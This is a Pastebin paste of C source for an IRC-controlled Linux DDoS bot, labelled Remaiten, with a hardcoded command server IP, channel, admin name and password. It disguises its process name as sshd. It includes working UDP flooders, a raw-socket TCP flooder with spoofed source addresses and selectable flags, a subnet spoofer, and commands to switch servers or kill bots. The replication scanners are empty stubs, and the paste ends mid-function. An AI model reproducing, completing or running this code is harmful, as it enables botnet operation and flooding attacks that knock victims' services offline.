Advertisement
Guest User

Remaiten.c ZoneHax Remaiten

a guest
Dec 26th, 2017
601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.23 KB | None | 0 0
  1. /********************************************************************\
  2. | CONFIGURE THESE |
  3. \********************************************************************/
  4.  
  5. // #### DEFAULT SETTINGS #### //
  6. int numservers=1;
  7. char *servers[] = {
  8. "46.166.185.62",
  9. (void*)0
  10. };
  11. static char *irc_port = ("6969");
  12. static char *irc_chan = ("#perl");
  13. char *admin = ("ZoneHax");
  14. char *bot_prefix = ("[VPS|420]");
  15.  
  16. // #### ATTACK MESSAGES #### //
  17. /* leave a space at the end of each msg for the ip address of the target */
  18. char *unk_msg = ("[UNK] Attacking");
  19. char *udp_msg = ("[UDP] Attacking");
  20. char *std_msg = ("[STD] Attacking");
  21. char *tcp_msg = ("[TCP] Attacking");
  22. char *syn_msg = ("[SYN] Attacking");
  23. char *ack_msg = ("[ACK] Attacking");
  24. char *fin_msg = ("[FIN] Attacking");
  25. char *rst_msg = ("[RST] Attacking");
  26. char *psh_msg = ("[PSH] Attacking");
  27.  
  28. // #### OTHER SETTINGS #### //
  29. #undef IDENT
  30. #define KEY "ZoneHax"
  31. #define PASS "ZoneHax"
  32. #define STARTUP
  33.  
  34.  
  35.  
  36.  
  37. /********************************************************************\
  38. | DO NOT EDIT UNLESS YOU GANGSTER AF |
  39. \********************************************************************/
  40. #define PREFIX ("%s",bot_prefix)
  41. #define PORT atol(irc_port)
  42. #define CHAN ("%s",irc_chan)
  43.  
  44. #define STD2_SIZE 50
  45. #define STD2_STRING "std"
  46. #define FAKENAME "/usr/bin/sshd"
  47.  
  48. #define PAD_RIGHT 1
  49. #define PAD_ZERO 2
  50. #define PRINT_BUF_LEN 12
  51. #define CMD_IAC 255
  52. #define CMD_WILL 251
  53. #define CMD_WONT 252
  54. #define CMD_DO 253
  55. #define CMD_DONT 254
  56. #define OPT_SGA 3
  57.  
  58. #include <stdlib.h>
  59. #include <stdarg.h>
  60. #include <stdio.h>
  61. #include <sys/socket.h>
  62. #include <sys/types.h>
  63. #include <netinet/in.h>
  64. #include <arpa/inet.h>
  65. #include <netdb.h>
  66. #include <signal.h>
  67. #include <strings.h>
  68. #include <string.h>
  69. #include <sys/utsname.h>
  70. #include <unistd.h>
  71. #include <fcntl.h>
  72. #include <errno.h>
  73. #include <netinet/ip.h>
  74. #include <netinet/udp.h>
  75. #include <netinet/tcp.h>
  76. #include <sys/wait.h>
  77. #include <sys/ioctl.h>
  78. #include <net/if.h>
  79.  
  80. int sock,changeservers=0;
  81. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0;
  82. unsigned int *pids;
  83. unsigned long spoofs=0, spoofsm=0, numpids=0;
  84.  
  85. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  86. switch((unsigned char)*pattern) {
  87. case '\0': return *string;
  88. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  89. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  90. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  91. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  92. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  93. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  94. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  95. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  96. }
  97. }
  98. int Send(int sock, char *words, ...) {
  99. static char textBuffer[1024];
  100. va_list args;
  101. va_start(args, words);
  102. vsprintf(textBuffer, words, args);
  103. va_end(args);
  104. return write(sock,textBuffer,strlen(textBuffer));
  105. }
  106. unsigned int host2ip(char *sender,char *hostname) {
  107. static struct in_addr i;
  108. struct hostent *h;
  109. if((i.s_addr = inet_addr(hostname)) == -1) {
  110. if((h = gethostbyname(hostname)) == NULL) {
  111. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  112. exit(0);
  113. }
  114. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  115. }
  116. return i.s_addr;
  117. }
  118. int mfork(char *sender) {
  119. unsigned int parent, *newpids, i;
  120. if (disabled == 1) {
  121. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  122. return 1;
  123. }
  124. parent=fork();
  125. if (parent <= 0) return parent;
  126. numpids++;
  127. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  128. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  129. newpids[numpids-1]=parent;
  130. free(pids);
  131. pids=newpids;
  132. return parent;
  133. }
  134. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  135. char *makestring() {
  136. char *tmp;
  137. int len=(rand()%5)+4,i;
  138. FILE *file;
  139. tmp=(char*)malloc(len+1);
  140. memset(tmp,0,len+1);
  141. char *pre;
  142. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  143. else {
  144. int a=((rand()*rand())%45402)+1;
  145. char buf[1024];
  146. for (i=0;i<a;i++) fgets(buf,1024,file);
  147. memset(buf,0,1024);
  148. fgets(buf,1024,file);
  149. filter(buf);
  150. memcpy(tmp,buf,len);
  151. fclose(file);
  152. }
  153. return tmp;
  154. }
  155. void identd() {
  156. int sockname,sockfd,sin_size,tmpsock,i;
  157. struct sockaddr_in my_addr,their_addr;
  158. char szBuffer[1024];
  159. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  160. my_addr.sin_family = AF_INET;
  161. my_addr.sin_port = htons(113);
  162. my_addr.sin_addr.s_addr = INADDR_ANY;
  163. memset(&(my_addr.sin_zero), 0, 8);
  164. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  165. if (listen(sockfd, 1) == -1) return;
  166. if (fork() == 0) return;
  167. sin_size = sizeof(struct sockaddr_in);
  168. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  169. for(;;) {
  170. fd_set bla;
  171. struct timeval timee;
  172. FD_ZERO(&bla);
  173. FD_SET(tmpsock,&bla);
  174. timee.tv_sec=timee.tv_usec=60;
  175. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  176. if (FD_ISSET(tmpsock,&bla)) break;
  177. }
  178. i = recv(tmpsock,szBuffer,1024,0);
  179. if (i <= 0 || i >= 20) exit(0);
  180. szBuffer[i]=0;
  181. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  182. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  183. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  184. close(tmpsock);
  185. close(sockfd);
  186. exit(0);
  187. }
  188. long pow(long a, long b) {
  189. if (b == 0) return 1;
  190. if (b == 1) return a;
  191. return a*pow(a,b-1);
  192. }
  193. u_short in_cksum(u_short *addr, int len) {
  194. register int nleft = len;
  195. register u_short *w = addr;
  196. register int sum = 0;
  197. u_short answer =0;
  198. while (nleft > 1) {
  199. sum += *w++;
  200. nleft -= 2;
  201. }
  202. if (nleft == 1) {
  203. *(u_char *)(&answer) = *(u_char *)w;
  204. sum += answer;
  205. }
  206. sum = (sum >> 16) + (sum & 0xffff);
  207. sum += (sum >> 16);
  208. answer = ~sum;
  209. return(answer);
  210. }
  211. unsigned long getspoof() {
  212. if (!spoofs) return rand();
  213. if (spoofsm == 1) return ntohl(spoofs);
  214. return ntohl(spoofs+(rand() % spoofsm)+1);
  215. }
  216. struct send_tcp {
  217. struct iphdr ip;
  218. struct tcphdr tcp;
  219. char buf[20];
  220. };
  221. struct pseudo_header {
  222. unsigned int source_address;
  223. unsigned int dest_address;
  224. unsigned char placeholder;
  225. unsigned char protocol;
  226. unsigned short tcp_length;
  227. struct tcphdr tcp;
  228. char buf[20];
  229. };
  230. int getHost(unsigned char *toGet, struct in_addr *i) {
  231. struct hostent *h;
  232. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  233. return 0;
  234. }
  235.  
  236.  
  237.  
  238.  
  239. /*
  240. /$$ /$$ /$$ /$$ /$$
  241. | $$$ /$$$ | $$ | $$ | $$
  242. | $$$$ /$$$$ /$$$$$$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$
  243. | $$ $$/$$ $$ /$$__ $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ /$$_____/
  244. | $$ $$$| $$| $$$$$$$$ | $$ | $$ \ $$| $$ \ $$| $$ | $$| $$$$$$
  245. | $$\ $ | $$| $$_____/ | $$ /$$| $$ | $$| $$ | $$| $$ | $$ \____ $$
  246. | $$ \/ | $$| $$$$$$$ | $$$$/| $$ | $$| $$$$$$/| $$$$$$$ /$$$$$$$/
  247. |__/ |__/ \_______/ \___/ |__/ |__/ \______/ \_______/|_______/
  248. */
  249.  
  250.  
  251. // ***************************************************** \\
  252. // # STD FLOODER # \\
  253. // ***************************************************** \\*
  254. void std(int sock, char *sender, int argc, char **argv) {
  255. int flag=1,fd,i;
  256. unsigned long secs;
  257. struct hostent *hp;
  258. struct sockaddr_in in;
  259. time_t start=time(NULL);
  260. if (mfork(sender) != 0) return;
  261. if (argc < 2) {
  262. //Send(sock,"NOTICE %s :STD <target> <port> <secs>\n",sender);
  263. exit(1);
  264. }
  265. secs=atol(argv[3]);
  266. memset((void*)&in,0,sizeof(struct sockaddr_in));
  267. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  268. in.sin_family = AF_INET;
  269. Send(sock,"NOTICE %s :%s %s\n",sender,std_msg,argv[1]);
  270. while(1) {
  271. in.sin_port = atol(argv[2]);
  272. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  273. else {
  274. flag=1;
  275. ioctl(fd,FIONBIO,&flag);
  276. sendto(fd,STD2_STRING,STD2_SIZE,0,(struct sockaddr*)&in,sizeof(in));
  277. close(fd);
  278. }
  279. if (i >= 50) {
  280. if (time(NULL) >= start+secs) break;
  281. i=0;
  282. }
  283. i++;
  284. }
  285. close(fd);
  286. exit(0);
  287. }
  288.  
  289.  
  290. // ***************************************************** \\
  291. // # UDP FLOODER # \\
  292. // ***************************************************** \\*
  293. void udp(int sock, char *sender, int argc, char **argv) {
  294. int flag=1,fd,i;
  295. unsigned long secs;
  296. char *buf=(char*)malloc(9216);
  297. struct hostent *hp;
  298. struct sockaddr_in in;
  299. time_t start=time(NULL);
  300. if (mfork(sender) != 0) return;
  301. if (argc < 2) {
  302. //Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  303. exit(1);
  304. }
  305. secs=atol(argv[3]);
  306. memset((void*)&in,0,sizeof(struct sockaddr_in));
  307. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  308. in.sin_family = AF_INET;
  309. Send(sock,"NOTICE %s :%s %s\n",sender,udp_msg,argv[1]);
  310. while(1) {
  311. in.sin_port = atol(argv[2]);
  312. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  313. else {
  314. flag=1;
  315. ioctl(fd,FIONBIO,&flag);
  316. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  317. close(fd);
  318. }
  319. if (i >= 50) {
  320. if (time(NULL) >= start+secs) break;
  321. i=0;
  322. }
  323. i++;
  324. }
  325. close(fd);
  326. exit(0);
  327. }
  328.  
  329.  
  330. // ***************************************************** \\
  331. // # UNKNOWN FLOODER # \\
  332. // ***************************************************** \\*
  333. void unk(int sock, char *sender, int argc, char **argv) {
  334. int flag=1,fd,i;
  335. unsigned long secs;
  336. char *buf=(char*)malloc(9216);
  337. struct hostent *hp;
  338. struct sockaddr_in in;
  339. time_t start=time(NULL);
  340. if (mfork(sender) != 0) return;
  341. if (argc < 2) {
  342. //Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  343. exit(1);
  344. }
  345. secs=atol(argv[2]);
  346. memset((void*)&in,0,sizeof(struct sockaddr_in));
  347. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  348. in.sin_family = AF_INET;
  349. Send(sock,"NOTICE %s :%s %s\n",sender,unk_msg,argv[1]);
  350. while(1) {
  351. in.sin_port = rand();
  352. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  353. else {
  354. flag=1;
  355. ioctl(fd,FIONBIO,&flag);
  356. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  357. close(fd);
  358. }
  359. if (i >= 50) {
  360. if (time(NULL) >= start+secs) break;
  361. i=0;
  362. }
  363. i++;
  364. }
  365. close(fd);
  366. exit(0);
  367. }
  368.  
  369.  
  370. // ***************************************************** \\
  371. // # TCP FLOODER # \\
  372. // ***************************************************** \\*
  373.  
  374. // #### TCP ATTACK DEPENDENCIES #### //
  375. struct in_addr ourIP;
  376. unsigned char macAddress[6] = {0};
  377. static uint32_t Q[4096], c = 362436;
  378. unsigned short csum (unsigned short *buf, int count)
  379. {
  380. register uint64_t sum = 0;
  381. while( count > 1 ) { sum += *buf++; count -= 2; }
  382. if(count > 0) { sum += *(unsigned char *)buf; }
  383. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  384. return (uint16_t)(~sum);
  385. }
  386. uint32_t rand_cmwc(void)
  387. {
  388. uint64_t t, a = 18782LL;
  389. static uint32_t i = 4095;
  390. uint32_t x, r = 0xfffffffe;
  391. i = (i + 1) & 4095;
  392. t = a * Q[i] + c;
  393. c = (uint32_t)(t >> 32);
  394. x = t + c;
  395. if (x < c) {
  396. x++;
  397. c++;
  398. }
  399. return (Q[i] = r - x);
  400. }
  401. in_addr_t getRandomIP(in_addr_t netmask)
  402. {
  403. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  404. return tmp ^ ( rand_cmwc() & ~netmask);
  405. }
  406. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  407. {
  408.  
  409. struct tcp_pseudo
  410. {
  411. unsigned long src_addr;
  412. unsigned long dst_addr;
  413. unsigned char zero;
  414. unsigned char proto;
  415. unsigned short length;
  416. } pseudohead;
  417. unsigned short total_len = iph->tot_len;
  418. pseudohead.src_addr=iph->saddr;
  419. pseudohead.dst_addr=iph->daddr;
  420. pseudohead.zero=0;
  421. pseudohead.proto=IPPROTO_TCP;
  422. pseudohead.length=htons(sizeof(struct tcphdr));
  423. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  424. unsigned short *tcp = malloc(totaltcp_len);
  425. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  426. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  427. unsigned short output = csum(tcp,totaltcp_len);
  428. free(tcp);
  429. return output;
  430. }
  431. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  432. {
  433. iph->ihl = 5;
  434. iph->version = 4;
  435. iph->tos = 0;
  436. iph->tot_len = sizeof(struct iphdr) + packetSize;
  437. iph->id = rand_cmwc();
  438. iph->frag_off = 0;
  439. iph->ttl = MAXTTL;
  440. iph->protocol = protocol;
  441. iph->check = 0;
  442. iph->saddr = source;
  443. iph->daddr = dest;
  444. }
  445. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  446. {
  447. int got = 1, total = 0;
  448. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  449.  
  450. return got == 0 ? NULL : buffer;
  451. }
  452. int getOurIP()
  453. {
  454. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  455. if(sock == -1) return 0;
  456.  
  457. struct sockaddr_in serv;
  458. memset(&serv, 0, sizeof(serv));
  459. serv.sin_family = AF_INET;
  460. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  461. serv.sin_port = htons(53);
  462.  
  463. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  464. if(err == -1) return 0;
  465.  
  466. struct sockaddr_in name;
  467. socklen_t namelen = sizeof(name);
  468. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  469. if(err == -1) return 0;
  470.  
  471. ourIP.s_addr = name.sin_addr.s_addr;
  472.  
  473. int cmdline = open("/proc/net/route", O_RDONLY);
  474. char linebuf[4096];
  475. while(fdgets(linebuf, 4096, cmdline) != NULL)
  476. {
  477. if(strstr(linebuf, "\t00000000\t") != NULL)
  478. {
  479. unsigned char *pos = linebuf;
  480. while(*pos != '\t') pos++;
  481. *pos = 0;
  482. break;
  483. }
  484. memset(linebuf, 0, 4096);
  485. }
  486. close(cmdline);
  487.  
  488. if(*linebuf)
  489. {
  490. int i;
  491. struct ifreq ifr;
  492. strcpy(ifr.ifr_name, linebuf);
  493. ioctl(sock, SIOCGIFHWADDR, &ifr);
  494. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  495. }
  496.  
  497. close(sock);
  498. }
  499.  
  500. // #### TCP ATTACK FUNCTION #### //
  501. void tcp(int sock, char *sender, int argc, char **argv)
  502. {
  503. if(argc < 7) {
  504. // do nothing
  505. } else {
  506. register unsigned int pollRegister;
  507. pollRegister = atol(argv[7]);
  508.  
  509. struct sockaddr_in dest_addr;
  510.  
  511. dest_addr.sin_family = AF_INET;
  512. if(atol(argv[2]) == 0) dest_addr.sin_port = rand_cmwc();
  513. else dest_addr.sin_port = atol(argv[2]);
  514. if(getHost(strdup(argv[1]), &dest_addr.sin_addr)) return;
  515. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  516.  
  517. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  518. if(!sockfd)
  519. {
  520. //sockprintf(mainCommSock, "Failed opening raw socket.");
  521. return;
  522. }
  523.  
  524. int tmp = 1;
  525. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  526. {
  527. //sockprintf(mainCommSock, "Failed setting raw headers mode.");
  528. return;
  529. }
  530.  
  531. in_addr_t netmask;
  532.  
  533. if ( atol(argv[4]) == 0 ) netmask = ( ~((in_addr_t) -1) );
  534. else netmask = ( ~((1 << (32 - atol(argv[4]))) - 1) );
  535.  
  536. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + atol(argv[6])];
  537. struct iphdr *iph = (struct iphdr *)packet;
  538. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  539.  
  540. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + atol(argv[6]));
  541.  
  542. tcph->source = rand_cmwc();
  543. tcph->seq = rand_cmwc();
  544. tcph->ack_seq = 0;
  545. tcph->doff = 5;
  546.  
  547. if(!strcmp(strdup(argv[5]), "all"))
  548. {
  549. tcph->syn = 1;
  550. tcph->rst = 1;
  551. tcph->fin = 1;
  552. tcph->ack = 1;
  553. tcph->psh = 1;
  554. Send(sock,"NOTICE %s :%s %s\n",sender,tcp_msg,argv[1]);
  555. } else {
  556. unsigned char *pch = strtok(strdup(argv[5]), ",");
  557. while(pch)
  558. {
  559. if(!strcmp(pch, "syn"))
  560. {
  561. tcph->syn = 1;
  562. Send(sock,"NOTICE %s :%s %s\n",sender,syn_msg,argv[1]);
  563. } else if(!strcmp(pch, "rst"))
  564. {
  565. tcph->rst = 1;
  566. Send(sock,"NOTICE %s :%s %s\n",sender,rst_msg,argv[1]);
  567. } else if(!strcmp(pch, "fin"))
  568. {
  569. tcph->fin = 1;
  570. Send(sock,"NOTICE %s :%s %s\n",sender,fin_msg,argv[1]);
  571. } else if(!strcmp(pch, "ack"))
  572. {
  573. tcph->ack = 1;
  574. Send(sock,"NOTICE %s :%s %s\n",sender,ack_msg,argv[1]);
  575. } else if(!strcmp(pch, "psh"))
  576. {
  577. tcph->psh = 1;
  578. Send(sock,"NOTICE %s :%s %s\n",sender,psh_msg,argv[1]);
  579. } else {
  580. //sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  581. }
  582. pch = strtok(NULL, ",");
  583. }
  584. }
  585.  
  586. tcph->window = rand_cmwc();
  587. tcph->check = 0;
  588. tcph->urg_ptr = 0;
  589. tcph->dest = (atol(argv[2]) == 0 ? rand_cmwc() : atol(argv[2]));
  590. tcph->check = tcpcsum(iph, tcph);
  591.  
  592. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  593.  
  594. int end = time(NULL) + atol(argv[3]);
  595. register unsigned int i = 0;
  596. while(1)
  597. {
  598. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  599.  
  600. iph->saddr = htonl( getRandomIP(netmask) );
  601. iph->id = rand_cmwc();
  602. tcph->seq = rand_cmwc();
  603. tcph->source = rand_cmwc();
  604. tcph->check = 0;
  605. tcph->check = tcpcsum(iph, tcph);
  606. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  607.  
  608. if(i == pollRegister)
  609. {
  610. if(time(NULL) > end) break;
  611. i = 0;
  612. continue;
  613. }
  614. i++;
  615. }
  616. }
  617. }
  618.  
  619.  
  620. // ***************************************************** \\
  621. // # SELF REPLICATION # \\
  622. // ***************************************************** \\*
  623.  
  624. // #### SSH SCANNER #### //
  625. void ssh_scan(int sock, char *sender, int argc, char **argv) {
  626.  
  627. }
  628.  
  629.  
  630. // #### TELNET SCANNER #### //
  631. void telnet_scan(int sock, char *sender, int argc, char **argv) {
  632.  
  633. }
  634.  
  635.  
  636. // ***************************************************** \\
  637. // # BOTKILLER # \\
  638. // ***************************************************** \\*
  639. void killsec(int sock, char *sender, int argc, char **argv) {
  640. if(strcasecmp(admin,sender) == 0){
  641. kill(0,9);
  642. } else {
  643. Send(sock,"PRIVMSG %s :You do not have permission to do this.\n", chan);
  644. }
  645. }
  646.  
  647. // ***************************************************** \\
  648. // # STOP ALL ATTACKS # \\
  649. // ***************************************************** \\*
  650. void stop(int sock, char *sender, int argc, char **argv){
  651. unsigned long i;
  652. for (i=0;i<numpids;i++) {
  653. if (pids[i] != 0 && pids[i] != getpid()) {
  654. if (sender) Send(sock,"PRIVMSG %s :Killing PID %d.\n",chan,pids[i]);
  655. kill(pids[i],9);
  656. }
  657. }
  658. for (i = 0; i < numpids; i++) {
  659. if (pids[i] != 0 && pids[i] != getpid()) {
  660. kill(pids[i], 9);
  661. }
  662. }
  663. }
  664.  
  665. // ***************************************************** \\
  666. // # SUBNET SPOOFER # \\
  667. // ***************************************************** \\*
  668. void spoof(int sock, char *sender, int argc, char **argv) {
  669. char ip[256];
  670. int i, num;
  671. unsigned long uip;
  672. if (argc != 1) {
  673. Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  674. spoofs=0;
  675. spoofsm=0;
  676. return;
  677. }
  678. if (strlen(argv[1]) > 16) {
  679. Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  680. return;
  681. }
  682. strcpy(ip,argv[1]);
  683. if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  684. for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  685. num=-(num-4);
  686. for (i=0;i<num;i++) strcat(ip,".0");
  687. uip=inet_network(ip);
  688. if (num == 0) spoofsm=1;
  689. else spoofsm=pow(256,num);
  690. spoofs=uip;
  691. Send(sock,"NOTICE %s :Subnet Has Been Spoofed - %s.\n",sender, argv[1]);
  692. }
  693. void getspoofs(int sock, char *sender, int argc, char **argv) {
  694. unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  695. if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  696. else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  697. }
  698.  
  699.  
  700. // ***************************************************** \\
  701. // # SERVER CHANGER # \\
  702. // ***************************************************** \\*
  703. void move(int sock, char *sender, int argc, char **argv) {
  704. if (argc < 1) {
  705. // do nothing
  706. } else {
  707. if(strcasecmp(admin,sender) == 0) {
  708. server = strdup(argv[1]);
  709. changeservers = 1;
  710. close(sock);
  711. } else {
  712. Send(sock,"PRIVMSG %s :You do not have permission to do this.\n", chan);
  713. }
  714. }
  715. }
  716.  
  717.  
  718. // ***************************************************** \\
  719. // # COMMAND LIST # \\
  720. // ***************************************************** \\*
  721. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  722. { "+std" , std },
  723. { "+udp" , udp },
  724. { "+unk" , unk },
  725. { "+tcp" , tcp },
  726.  
  727. { "+spoof" , spoof },
  728. { "+server" , move },
  729. { "+subnet" , getspoofs },
  730. { "+botkill" , killsec },
  731. { "+killattk" , stop },
  732.  
  733.  
  734. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  735.  
  736.  
  737.  
  738.  
  739.  
  740. /*
  741. /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$
  742. | $$$ /$$$ /$$__ $$ | $$ | $$ /$$__ $$| $$ |__/ | $$
  743. | $$$$ /$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/| $$$$$$$ /$$ /$$$$$$
  744. | $$ $$/$$ $$ /$$__ $$ /$$__ $$ /$$__ $$ | $$ | $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ | $$$$$$ | $$__ $$| $$|_ $$_/
  745. | $$ $$$| $$| $$ \ $$| $$ \__/| $$$$$$$$ | $$ | $$ | $$ | $$ \ $$| $$$$$$$$| $$ \__/ \____ $$| $$ \ $$| $$ | $$
  746. | $$\ $ | $$| $$ | $$| $$ | $$_____/ | $$ | $$ | $$ /$$| $$ | $$| $$_____/| $$ /$$ \ $$| $$ | $$| $$ | $$ /$$
  747. | $$ \/ | $$| $$$$$$/| $$ | $$$$$$$ | $$$$$$/ | $$$$/| $$ | $$| $$$$$$$| $$ | $$$$$$/| $$ | $$| $$ | $$$$/
  748. |__/ |__/ \______/ |__/ \_______/ \______/ \___/ |__/ |__/ \_______/|__/ \______/ |__/ |__/|__/ \___/
  749. */
  750. void _PRIVMSG(int sock, char *sender, char *str) {
  751. int i;
  752. char *to, *message;
  753.  
  754. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  755. str[i]=0;
  756. to=str;
  757. message=str+i+2;
  758. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  759. sender[i]=0;
  760. if (*message == '>' && !strcasecmp(to,chan)) {
  761. char *params[12], name[1024]={0};
  762. int num_params=0, m;
  763. message++;
  764. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  765. message[i]=0;
  766. if (strwildmatch(message,nick)) return;
  767. message+=i+1;
  768. m=strlen(message);
  769. for (i=0;i<m;i++) {
  770. if (*message == ' ' || *message == 0) break;
  771. name[i]=*message;
  772. message++;
  773. }
  774. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  775. num_params++;
  776. if (num_params > 10) num_params=10;
  777. params[0]=name;
  778. params[num_params+1]="\0";
  779. m=1;
  780. while (*message != 0) {
  781. message++;
  782. if (m >= num_params) break;
  783. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  784. params[m]=(char*)malloc(i+1);
  785. strncpy(params[m],message,i);
  786. params[m][i]=0;
  787. m++;
  788. message+=i;
  789. }
  790. for (m=0; flooders[m].cmd != (char *)0; m++) {
  791. if (!strcasecmp(flooders[m].cmd,name)) {
  792. flooders[m].func(sock,sender,num_params-1,params);
  793. for (i=1;i<num_params;i++) free(params[i]);
  794. return;
  795. }
  796. }
  797. }
  798. }
  799. void _376(int sock, char *sender, char *str) {
  800. Send(sock,"MODE %s +pixB\n",nick);
  801. Send(sock,"JOIN %s :%s\n",chan,key);
  802. Send(sock,"WHO %s\n",nick);
  803. }
  804. void _PING(int sock, char *sender, char *str) {
  805.  
  806. Send(sock,"PONG %s\n",str);
  807.  
  808. }
  809.  
  810. void _352(int sock, char *sender, char *str) {
  811. int i,d;
  812. char *msg=str;
  813. struct hostent *hostm;
  814. unsigned long m;
  815. for (i=0,d=0;d<5;d++) {
  816. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  817. if (i == strlen(str)) return;
  818. }
  819. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  820. msg[i]=0;
  821. if (!strcasecmp(msg,nick) && !spoofsm) {
  822. msg=str;
  823. for (i=0,d=0;d<3;d++) {
  824. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  825. if (i == strlen(str)) return;
  826. }
  827. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  828. msg[i]=0;
  829. if ((m = inet_addr(msg)) == -1) {
  830. if ((hostm=gethostbyname(msg)) == NULL) {
  831. //Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  832. return;
  833. }
  834. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  835. }
